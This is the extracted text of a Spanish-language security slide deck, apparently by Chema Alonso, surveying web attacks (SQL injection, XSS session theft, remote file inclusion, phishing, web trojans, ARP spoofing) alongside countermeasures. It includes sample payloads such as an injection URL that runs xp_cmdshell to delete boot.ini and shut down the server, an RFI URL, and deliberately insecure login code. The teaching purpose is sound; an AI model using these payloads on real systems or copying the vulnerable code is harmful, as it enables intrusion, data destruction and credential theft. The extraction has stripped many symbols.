Title: Seguridad en Aplicaciones Web
1Seguridad en Aplicaciones Web
2Amenazas Web
- Chema Alonso
- MS MVP Windows Server Security
- chema_at_informatica64.com
3Agenda Amenazas Web
- Aplicaciones Web
- Vulnerabilidades Sql Injection
- Vulnerabilidades Cross-Site Scripting
- Vulnerabilidades RFI
- Vulnerabilidades Phising
- Vulnerabilidades WebTrojan
- Vulnerabilidades Capa 8
4Aplicaciones Web
5Tipos de Aplicaciones Web
- Web Site público.
- Información destinada al público.
- Intranet (ERP/CRM/Productividad)
- Información privada de acceso interno.
- Extranet (Productividad/B2B/B2C)
- Información privada de acceso externo.
6Arquitectura Multicapa
Almacén De Datos
Lógica de la Aplicación
Interfaz de Usuario (GUI)
DCOM
BBDD
WebServer
Browser
WebService
BBDD
WebServer
RPC
7Amenazas
- Zone-h contabiliza 2.500 intrusiones Web con
éxito cada día en 2004. - Se atacan todas las tecnologías
- Los ataques se han escalado desde el sistema
operativo a la aplicación. - Ataques no masivos.
- Motivos
- Económicos
- Venganza
- Reto
- Just For Fun
8Cliente - Riesgos
- Navegador de Internet
- Ejecuta código en contexto de usuario.
- Lenguajes potentes
- HTML/DHTML
- vbScript/JavaScript/Jscript
- Programas embebidos
- Applets Java
- ActiveX
- Shockwave Flash
- Códigos No protegidos
- Cifrado cliente Atrise.
- Ofuscación de código.
9Código y poder
- El código fuente es poder
- Tanto para defenderse como para atacar
- Compartir el código es compartir el poder.
- Con los atacantes y defensores
- Publicar el código fuente sin hacer nada más
degrada la seguridad - Por el contrario, publicar el código fuente
permite a los defensores y a otros elevar la
seguridad al nivel que les convenga.
10Software Seguro
- El software Fiable es aquel que hace lo que se
supone que debe hacer. - El software Seguro es aquel que hace lo que se
supone que debe hacer, y nada mas. - Son los sorprendentes algo mas los que producen
inseguridad. - Para estar seguro, debes de ejecutar solo
software perfecto -) - O, hacer algo para mitigar ese algo mas
11Cliente - Riesgos
- Ninguna protección en cliente es buena
- Utilización de técnicas de MITM
- Achilles
- BurpSuite
- Odysseus
- Decompiladores
- Flash
- Java
12Lógica de Aplicación - Riesgos
- Servidor Web
- Ejecuta código en contextos privilegiados.
- Lenguajes potentes
- Acceden a BBDD
- Envían programas a clientes
- Transferir ficheros
- Ejecutar comandos sobre el sistema.
- Soporte para herramientas de administración de
otro software. - Códigos de Ejemplo
13Almacén de Datos - Riesgos
- SGBD
- Lenguaje de 3ª y 4ª Generación.
- Soporta múltiples bases de datos.
- Catálogo global de datos.
- Ejecuta programas sobre Sistema.
- LOPD.
- Transacciones económicas.
- Información clave de negocio.
14Vulnerabilidades SQL Injection
15Explotación del Ataque
- Aplicaciones con mala comprobación de datos de
entrada. - Datos de usuario.
- Formularios
- Text
- Password
- Textarea
- List
- multilist
- Datos de llamadas a procedimientos.
- Links
- Funciones Scripts
- Actions
- Datos de usuario utilizados en consultas a base
de datos. - Mala construcción de consultas a bases de datos.
16Riesgos
- Permiten al atacante
- Saltar restricciones de acceso.
- Elevación de privilegios.
- Extracción de información de la Base de Datos
- Parada de SGBDR.
- Ejecución de comandos en contexto usuario bd
dentro del servidor.
17Tipos de Ataques
- Ejemplo 1
- Autenticación de usuario contra base de datos.
- Select idusuario from tabla_usuarios
- Where nombre_usuariousuario
- And claveclave
Usuario
Clave
18Tipos de Ataques
- Ejemplo 1 (cont)
- Select idusuario from tabla_usuarios
- Where nombre_usuarioAdministrador
- And clave or 11
Usuario
Administrador
Clave
or 11
19Demo
20Tipos de Ataques
- Ejemplo 2
- Acceso a información con procedimientos de
listado. - http//www.miweb.com/prog.asp?parametro1hola
- Ó
- http//www.miweb.com/prog.asp?parametro11
21Tipos de Ataques
- Ejemplo 2 (cont)
- http//www.miweb.com/prog.asp?parametro1 union
select nombre, clave,1,1,1 from tabla_usuarios
otra instrucción xp_cmdshell(del c\boot.ini)
shutdown -- - Ó
- http//www.miweb.com/prog.asp?parametro1-1 union
select ..... otra instrucción --
22Demo
23Contramedidas
- No confianza en medias de protección en cliente.
- Comprobación de datos de entrada.
- Construcción segura de sentencias SQL.
- Fortificación de Servidor Web.
- Códigos de error.
- Restricción de verbos, longitudes, etc..
- Filtrado de contenido HTTP en Firewall.
- Fortificación de SGBD.
- Restricción de privilegios de motor/usuario de
acceso desde web. - Aislamiento de bases de datos.
24Contramedidas
- Desarrollo .NET
- Redirigir a una página personalizada en caso de
error - Web.Config
- Mode ? On, Off, RemoteOnly
- DefaultRedirect ? Error no especificado
- lterrorgt?Errores específicos
ltcustomErrors mode"RemoteOnly"
defaultRedirect"GenericErrorPage.htm"gt
lterror statusCode"403" redirect"NoAccess.htm"/gt
lterror statusCode"404" redirect"FileNotFound
.htm"/gt lt/customErrorsgt
25Contramedidas
- Desarrollo .NET (Validadores)
26Contramedidas
protected void Button1_Click(object sender,
EventArgs e) SqlConnection conn new
SqlConnection(connstr) conn.Open()
SqlCommand cmd new SqlCommand()
cmd.Connection conn cmd.CommandText
"Select from Usuarios where login'"
txtLogin.Text " and password'"
txtPassword.Text "'" cmd.CommandType
CommandType.Text SqlDataReader dr
cmd.ExecuteReader() if (dr.HasRows)
//Código para permitir el paso a la
aplicación Response.Write("ltscriptgtale
rt('Acceso permitido')lt/scriptgt")
else //Codigo para rechazar el
usuario Response.Write("ltscriptgtalert(
'Acceso denegado')lt/scriptgt")
conn.Close()
- Desarrollos en .NET (Código inseguro)
27Contramedidas
- Desarrollo .NET (Código seguro)
- Consultas parametrizadas
protected void Button1_Click(object sender,
EventArgs e) SqlConnection conn new
SqlConnection(connstr) conn.Open()
SqlCommand cmd new SqlCommand()
cmd.Connection conn cmd.CommandText
"Select from Usuarios where login_at_login
and password_at_pass"
cmd.Parameters.AddWithValue("login", txtLogin)
cmd.Parameters.AddWithValue("pass",
txtPassword.Text) cmd.CommandType
CommandType.Text dr cmd.ExecuteReader()
if (dr.HasRows)//Código para permitir
el paso a la aplicación Response.Write("ltscriptgta
lert('Acceso permitido')lt/scriptgt")
else//Codigo para rechazar el usuario
Response.Write("ltscriptgtalert('Acceso
denegado')lt/scriptgt") conn.Close()
28Vulnerabilidades Cross-Site Scripting (XSS)
29Explotación del Ataque
- Datos almacenados en servidor desde cliente.
- Datos van a ser visualizados por otros
cliente/usuario. - Datos no filtrados. No comprobación de que sean
dañinos al cliente que visualiza.
30Riesgos
- Ejecución de código en contexto de usuario que
visualiza datos. - Navegación dirigida
- Phising
- Spyware
- Robo de credenciales
- Ejecución de acciones automáticas
- Defacement
31Tipos de Ataques
- Mensajes en Foros.
- Firma de libro de visitas.
- Contactos a través de web.
- Correo Web.
- En todos ellos se envían códigos Script dañinos.
32Demo
33Robo de Sesiones (XSS)
- Mediante esta técnica se puede robar sesiones de
una manera bastante sencilla - Bastaría con realizar un script que llamase a una
página alojada en nuestro servidor pasándole la
cookie - Este Script se colaría en el servidor de la
victima aprovechando un punto vulnerable a XSS - Cuando un usuario este logueado en el servidor y
ejecute el script se enviara a nuestro servidor
el contenido de la cookie
34Robo de Sesiones (XSS)
- Una vez que la página obtiene la cookie
(almacenandola por ejemplo en un fichero)
mediante programas como Odysseus se puede hacer
una llamada al servidor pasándole la cookie
original - Por supuesto esta cookie es válida para robar la
sesión solo mientras el usuario no cierre la
sesión
35Demo
36Contramedidas
- Fortificación de aplicación
- Comprobación fiable de datos
- Fortificación de Clientes
- Ejecución de clientes en entorno menos
privilegiado. - Fortificación de navegador cliente.
- MBSA.
- Políticas.
37Contramedidas
- Desarrollo .NET
- En ASP.NET el Cross Site Scripting está
deshabilitado por defecto - El Framework se encarga de buscar posibles
ataques de este tipo en las entradas de datos - Se puede deshabilitar este tipo de verificación
mediante un atributo de la directiva _at_Page - Para deshabilitarlo
lt_at_ Page ValidateRequestfalse gt
38Vulnerabilidades Remote File Inclusion (RFI)
39Remote File Inclusion (RFI)
- Vulnerabilidad propia de páginas PHP dinámicas
que permite enlace de archivos remotos situados
en otros servidores - Se debe a una mala programación o uso de la
función include() - Esta vulnerabilidad no se da en páginas
programadas en un lenguaje que no permita la
inclusión de ficheros ajenos al servidor
40Remote File Inclusion (RFI)
- La vulnerabilidad es producida por código
semejante a este - En páginas de este tipo se puede incluir ficheros
que estén en nuestro servidor
page _GET'page' include(page)
http//victima.com/pagvuln.php?pagehttp//misiti
o/miFichero
41Remote File Inclusion (RFI)
- Existen herramientas que permite explorar un
sitio Web en busca de este tipo de
vulnerabilidades (rpvs)
42Remote File Inclusion (RFI)
- Mediante las shell PHP se pueden ejecutar
comandos en una página Web - Usando RFI se puede incluir un fichero que
ejecute comandos, tales como listar directorios,
obtener y colocar ficheros, etc. - El inconveniente es que la mayoría de
servidores Web en PHP tienen deshabilitadas las
funciones exec, system o passthru que impiden la
ejecución de comandos
43Remote File Inclusion (RFI)
- Sin embargo, existen funciones como
show_source(archivo) que permiten la
visualización del código fuente de una página - A su vez, existen otra serie de funciones que nos
permiten listar el contenido de un directorio - El uso de estas funciones no puede ser limitado y
no depende del SO sobre el que se encuentra
instalado el Servidor Web
44Demo
45Vulnerabilidades Phising
46Explotación del Ataque
- Basado en técnicas de Ingeniería Social.
- Se aprovecha de la confianza de los usuarios.
- Se aprovecha de la falta de formación en
seguridad de los usuarios. - Certificados digitales no generados por Entidades
Emisoras de Certificados de confianza.
47Riesgos
- Suplantación de Sitios Web para engañar al
usuario. - Robo de credenciales de acceso a web
restringidos. - Robo de dinero
- Compras por Internet
- Bromas pesadas
48Tipos de Ataques
- Se falsea la dirección de DNS del servidor
- Falsificación hosts
- Troyanos, Físicamente, Shellcodes exploits
- DHCP
- DNS Spoofing
- Man in The Middle
- Se engaña la navegación.
- Frames Ocultos
- URLs falseadas.
- Se implanta en la nueva ubicación un servidor
replica. - Se implantan hasta fakes de certificados
digitales
49Exploits
infohacking.com
50Contramedidas
- Uso de CA de confianza
- Formación a usuarios
- Gestión de actualizaciones de seguridad
- Códigos de aplicaciones seguras
- Control físico de la red
- Comprobación DHCP
51Vulnerabilidades WebTrojan
52Explotación de Ataque
- Servidores Web no fortificados
- Ejecución de programas en almacenes de ficheros.
- Subida de ficheros a servidores.
- Imágenes para publicaciones.
- Archivos de informes.
- Currículos, cuentos, etc...
- Almacenes de ficheros accesibles en remoto
- Usuario en contexto servidor Web no controlado
53Riesgos
- Implantación de un troyano que puede
- Gestionar ficheros
- Ejecutar programas
- Destrozar el sistema
- Defacement
- Robo de información
- ....
54Tipos de Ataques
- Programación de un troyano en PHP, ASP o JSP
- Utilización de objetos FileObject
- Subida mediante ASP Upload, FTP o RFI
- Busqueda del lugar de almacenamiento
- Invocación por URL pública del servidor Web
55Demo
56Contramedidas
- Fortificación de servidores Web
- Menor Privilegio
- Ejecución de programas en sitios restringidos
- Listado de directorios ocultos
- Usuario de servidor en contexto controlado
- Subida de archivos controlada
- Ubicación no accesible desde URL pública
- Tipos de ficheros controlados
- Tamaño, tipo, extensión, etc..
- Filtrado vírico -gt Rootkits
57Contramedidas
- Desarrollo .NET
- En ASP.NET se puede verificar la extensión del
fichero que se sube al servidor - Evita la subida de ficheros potencialmente
peligrosos
if (!FileUpload1.PostedFile.FileName.EndsWith(".jp
g")) //Error El fichero no es del
tipo esperado
58Vulnerabilidades Capa 8
59Explotación de Ataque
- Falta de conocimiento SD3
- Diseño
- Configuraciónes
- Implantación
- Administradores/Desarrolladores no formados en
Seguridad - Hacking Ético
- Falta de conocimiento del riesgo
60Riesgos
- Insospechados
- Bases de datos públicas
- No protección de datos
- No protección de sistemas
- .....
61Tipos de Ataques
- Hacking Google
- Administradores predecibles
- http//www.misitio.com/administracion
- http//www.misitio.com/privado
- http//www.misitio.com/gestion
- http//www.misitio.com/basedatos
- Ficheros log públicos
- WS_ftp.log
- Estadísticas públicas
- Webalyzer
62Demo
63Contramedidas
- Formación
- Ficheros Robots
- Robots.txt
- LOPD y LSSI
- www.lssi.es
- Writting Secure Code
64Contramedidas
65 Preguntas ?
66Troyanos
67Video
- Que puede hacer un troyano
68Troyano
- Programa que se ejecuta en tu máquina y cuyo
control no depende de ti. - Como el ..
- Mil formas, mil colores
- Los Hackers la llaman la girlfriend
69Obtención de Privilegios
- Fallo en la cadena
- Procesos
- Sistema no cerrado.
- Tecnología
- Fallo en sw de sistema operativo
- Fallo en sw ejecución de códigos.
- Personas
- Ingeniería Social Que lindo programita!
- Navegación privilegiada
70Objetivos
- Control remoto
- Instalan suites de gestión del sistema.
- Robo de información
- Modificación del sistema
- Phishing
- Creación de usuarios
- Planificación de tareas
- ....
71Instalación del Troyano
- Se suele acompañar de un caballo para
tranquilizar a la víctima. - Se añaden a otro software.
- EJ Whackamole
- Joiners, Binders
- Incluidos en documentos que ejecutan código
- Word, excel, swf, .class, pdf, html, etc...
72Instalación del Troyano
- Simulando ser otro programa
- P2P, HTTP Servers
- Paquetes Zip autodescomprimibles
- Programas con fallo de .dll
- Instaladores de otro SW
73Demo
- Un troyano de andar por casa pa phisear
74Demo
- Un troyano de andar por casa pa meter un backdoor
75Demo
- Un troyano de andar por casa pa abrir una shell
76Demo
- Un troyano de andar por casa pa robar una shell
77Detección de Troyanos
- Anti-Mallware
- Antivirus
- AntiSpyware
- Comportamiento anómalo del sistema
- Configuraciones nuevas
- Cambio en páginas de navegación
- Puertos
- ....
78Prevención contra Troyanos
- Defensa en Profundidad
- Mínimo Privilegio Posible
- Mínimo punto de exposición
- Gestión de updates de seguridad
- Antivirus/AntiSpyware
- Ejecución controlada de programas
- Navegación segura
79AtaqueEnvenenamiento ARP
80RFC 1180 - TCP/IP tutorial
There are security considerations within the
TCP/IP protocol suite. To some people these
considerations are serious problems, to others
they are not it depends on the user
requirements. This tutorial does not discuss
these issues, but if you want to learn more you
should start with the topic of ARP-spoofing, then
use the "Security Considerations" section of RFC
1122 to lead you to more information.
81Técnicas de Spoofing
- Las técnicas spoofing tienen como objetivo
suplantar validadores estáticos
Un validador estático es un medio de
autenticación que permanece invariable antes,
durante y después de la concesión.
82Niveles Afectados
Nombres de dominio Direcciones de correo
electrónico Nombres de recursos compartidos
SERVICIO
RED
Dirección IP
ENLACE
Dirección MAC
83Tipos de técnicas de Spoofing
- Spoofing ARP
- Envenenamiento de conexiones.
- Man in the Middle.
- Spoofing IP
- Rip Spoofing.
- Hijacking.
- Spoofing SMTP
- Spoofing DNS
- WebSpoofing.
84Técnicas de Sniffing
- Capturan tráfico de red.
- Necesitan que la señal física llegue al NIC.
- En redes de difusión mediante concentradores
todas las señales llegan a todos los
participantes de la comunicación. - En redes conmutadas la comunicación se difunde en
función de direcciones. - Switches utilizan dirección MAC.
85Nivel de Enlace Spoofing ARP
- Suplantar identidades físicas.
- Saltar protecciones MAC.
- Suplantar entidades en clientes DHCP.
- Suplantar routers de comunicación.
- Solo tiene sentido en comunicaciones locales.
86Dirección Física
- Tiene como objetivo definir un identificador
único para cada dispositivo de red. - Cuando una máquina quiere comunicarse con otra
necesita conocer su dirección física. - Protocolo ARP
- No se utilizan servidores que almacenen registros
del tipo - Dirección MAC lt-gt Dirección IP.
- Cada equipo cuenta con una caché local donde
almacena la información que conoce.
87Ataque ARP Man In The Middle
1.1.1.2 esta en998877665544
1.1.1.1 esta en 998877665544
1.1.1.1
Quien tiene 1.1.1.2?
1.1.1.2 esta en 00112233445566
1.1.1.2
88Protección contra Envenenamiento
- Medidas preventivas.
- Control físico de la red.
- Bloqueo de puntos de acceso.
- Segmentación de red.
- Gestión de actualizaciones de seguridad.
- Protección contra Exploits.
- Protección contra troyanos.
89Protección contra Envenenamiento
- Medidas preventivas.
- Cifrado de comunicaciones.
- IPSec.
- Cifrado a nivel de Aplicación
- S/MIME.
- SSL.
- Certificado de comunicaciones.
90Protección contra Envenenamiento
- Medidas reactivas.
- Utilización de detectores de Sniffers.
- Utilizan test de funcionamiento anómalo.
- Test ICMP.
- Test DNS.
- Test ARP.
- Sistemas de Detección de Intrusos
91Frase vs. Passwords
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
92Web MVPs
93TechNews
- Suscripción gratuita enviando un mail
- mailtotechnews_at_informatica64.com
94Contacto
- Chema Alonso
- chema_at_informatica64.com
- Informatica64
- http//www.informatica64.com
- http//www.informatica64.com/hol.htm
- http//elladodelmal.blogspot.com
- i64_at_informatica64.com
- 34 91 226 82 08